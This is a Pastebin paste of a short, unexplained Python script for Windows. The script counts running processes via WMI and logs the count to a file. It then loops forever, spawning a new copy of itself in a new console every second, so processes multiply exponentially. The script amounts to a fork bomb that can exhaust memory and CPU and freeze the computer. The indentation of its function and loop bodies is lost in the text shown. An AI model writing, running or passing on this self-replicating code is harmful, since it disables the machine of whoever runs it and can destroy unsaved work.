Advertisement
Falexom

Untitled

Feb 25th, 2022
1,186
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.40 KB | None | 0 0
  1. import wmi # pip install wmi
  2. import subprocess
  3. import time
  4. import sys
  5.  
  6.  
  7. def count():
  8.     f = wmi.WMI()
  9.     p = 0
  10.     for process in f.Win32_Process():
  11.     p += 1
  12.     return p
  13.  
  14.  
  15. def wr():
  16.     with open("log.txt", "a") as out:
  17.     a = count()
  18.     out.write("\n")
  19.     out.write(str(a))
  20.  
  21.  
  22. while True:
  23.     wr()
  24.     subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)
  25.     time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement